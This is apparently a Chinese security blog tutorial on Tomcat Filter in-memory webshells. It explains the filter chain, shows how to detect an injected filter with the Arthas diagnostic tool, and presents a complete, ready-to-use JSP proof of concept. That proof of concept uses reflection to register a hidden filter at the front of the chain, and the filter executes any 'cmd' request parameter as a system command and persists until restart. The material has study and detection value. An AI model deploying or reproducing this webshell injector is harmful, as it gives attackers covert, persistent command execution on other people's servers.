文章目录
- 原理
- Filter注册流程
- Filter内存马注入
- 内存马检测工具
原理
Servlet 有自己的过滤器filter，可以通过自定义的过滤器，来对用户的请求进行拦截等操作。
经过 filter 之后才会到 Servlet ，那么如果我们动态创建一个 filter 并且将其放在最前面，我们的 filter 就会最先执行，当我们在 filter 中添加恶意代码，就会进行命令执行，这样也就成为了一个内存 Webshell，所以就需要我们想办法在最前方注册一个恶意的filter并执行。
Filter注册流程
先看一个正常的demo
filter.java
package memoryshell;
import javax.servlet.*;
import java.io.IOException;
public class filter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {
System.out.println("Filter 销毁");
}
}''
]]web.xml
<filter>
<filter-name>filter</filter-name>
<filter-class>memoryshell.filter</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>运行后成功触发
之后再看几个会用到的类：
- FilterDefs：存放FilterDef的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息
- FilterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
- FilterMaps：存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
- FilterChain：过滤器链，该对象上的 doFilter 方法能依次调用链上的 Filter
- WebXml：存放 web.xml 中内容的类
- ContextConfig：Web应用的上下文配置类
- StandardContext：Context接口的标准实现类，一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper
- StandardWrapperValve：一个 Wrapper 的标准实现类，一个 Wrapper 代表一个Servlet
接下来我们来分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的
调用栈
doFilter:13, filter (memoryshell)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1743, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)可以看到在StandardWrapperValve#invoke中，通过createFilterChain方法获得了一个ApplicationFilterChain类型的filterChain，其中包含了filters有两个值，而第一个值就包含了我们传入的自定义filter
跟进createFilterChain()，获取了request请求，在通过该请求获取了filterChain
再往下看，context获取了一个StandardContext()对象，接着用context获取了filterMaps主要就是filtername和path
之后经过循环逐一将filterMaps的值传入filterConfig，最后通过addFilter将其传入filterChain中
跟进addFilter()，最后将值赋给了filters中
之后回到createFilterChain()的部分继续往下看，调用了filterChain的doFilter
跟进doFilter，最后的else部分调用了：
internalDoFilter(request,response);跟进internalDoFilter()，将上边createFilterChain()，获取的filters[pos++]值传入filterConfig，接着传入filter，而这个filter也就是我们自定义的那个，所以最后执行filter.doFilter后，便跳转到了我们自定义的doFilter方法中输出了 ”执行过滤操作“
Filter内存马注入
在上边提到了这两行，当构造我们的filter链的时候 ，是从context中获取到的 FiltersMaps
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();当我们能直接获取 request 的时候，我们这里可以直接将我们的 ServletContext 转为 StandardContext 从而获取 context
当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象，代表当前 Web 应用
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);还有其他的获取方法：
从线程中获取StandardContext
如果没有request对象的话可以从当前线程中获取
https://zhuanlan.zhihu.com/p/114625962
从MBean中获取
https://scriptboy.cn/p/tomcat-filter-inject/
获取Context后，发现这参数跟我们的fileter有关，所以尝试控制这部分注入内存马
- filterMaps：一个HashMap对象，包含过滤器名字和URL映射
- filterDefs：一个HashMap对象，过滤器名字和过滤器实例的映射
- filterConfigs变量：一个ApplicationFilterConfig对象，里面存放了filterDefs
大致流程：
- Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ，将我们的 Filter 和 urlpattern 相对应，存放到 filterMaps中（由于 Filter 生效会有一个先后顺序，所以我们一般都是放在最前面，让我们的 Filter 最先触发）
每次请求createFilterChain都会依据此动态生成一个过滤链，而StandardContext又会一直保留到Tomcat生命周期结束，所以我们的内存马就可以一直驻留下去，直到Tomcat重启
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 首先判断名字是否存在，如果不存在我们就进行注入
if (filterConfigs.get(name) == null){
// 创建恶意 Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
/**
* 创建一个FilterDef 然后设置我们filterDef的名字，和类名，以及类
*/
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);
/**
* 创建一个filtermap
* 设置filter的名字和对应的urlpattern
*/
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入，而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
/**
* 将filtermap 添加到 filterMaps 中的第一个位置
*/
standardContext.addFilterMapBefore(filterMap);
/**
* 利用反射创建 FilterConfig，并且将 filterDef 和 standardCtx（即 Context）作为参数进行传入
*/
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
/**
* 将 name 和 filterConfig 作为 key-value进行传入
*/
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}最终poc
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "Sentiment";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
//Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>注入成功，这里用到的是windows命令，linux命令需要用上边注释的那条
内存马检测工具
arthas：https://arthas.aliyun.com/arthas-boot.jar
alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)
java -jar arthas-boot.jar选择我们 Tomcat 的进程
输入1进入进程
利用 sc *.Filter 进行模糊搜索，会列出所有调用了 Filter 的类
利用jad --source-only org.apache.jsp.filter_jsp$1 直接将 Class 进行反编译
可以监控进程，当我们访问 url 就会输出监控结果 watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar
[INFO] arthas-boot version: 3.6.2
[INFO] Process 13212 already using port 3658
[INFO] Process 13212 already using port 8563
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 13212 org.apache.catalina.startup.Bootstrap
[2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36
[3]: 11480 org.jetbrains.jps.cmdline.Launcher
[4]: 19916
1
[INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658
,---. ,------. ,--------.,--. ,--. ,---. ,---.
/ O \ | .--. ''--. .--'| '--' | / O \ ' .-'
| .-. || '--'.' | | | .--. || .-. |`. `-.
| | | || |\ \ | | | | | || | | |.-' |
`--' `--'`--' '--' `--' `--' `--'`--' `--'`-----'
wiki https://arthas.aliyun.com/doc
tutorials https://arthas.aliyun.com/doc/arthas-tutorials.html
version 3.6.2
main_class
pid 13212
time 2022-07-17 12:10:04
[arthas@13212]$ sc *.Filter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.Filter
javax.servlet.Filter
javax.servlet.GenericFilter
memoryshell.filter
org.apache.catalina.filters.CsrfPreventionFilter
org.apache.catalina.filters.CsrfPreventionFilterBase
org.apache.catalina.filters.FilterBase
org.apache.catalina.filters.HttpHeaderSecurityFilter
org.apache.jsp.filter_jsp$1
org.apache.tomcat.websocket.server.WsFilter
Affect(row-cnt:12) cost in 7 ms.
[arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1
/*
* Decompiled with CFR.
*
* Could not load the following classes:
* javax.servlet.Filter
* javax.servlet.FilterChain
* javax.servlet.FilterConfig
* javax.servlet.ServletException
* javax.servlet.ServletRequest
* javax.servlet.ServletResponse
* javax.servlet.http.HttpServletRequest
*/
package org.apache.jsp;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
class filter_jsp.1
implements Filter {
filter_jsp.1() {
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
/*173*/ HttpServletRequest req = (HttpServletRequest)servletRequest;
/*174*/ if (req.getParameter("cmd") != null) {
/*175*/ byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
/*178*/ int len = process.getInputStream().read(bytes);
/*179*/ servletResponse.getWriter().write(new String(bytes, 0, len));
/*180*/ process.destroy();
/*181*/ return;
}
/*183*/ filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
}
}
[arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
Press Q or Ctrl+C to abort.
Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1
method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExit
ts=2022-07-17 12:23:35; [cost=0.7065ms] result=@ArrayList[
@String[org.apache.jsp.filter_jsp$1],
@String[memoryshell.filter],
@String[org.apache.tomcat.websocket.server.WsFilter],
]
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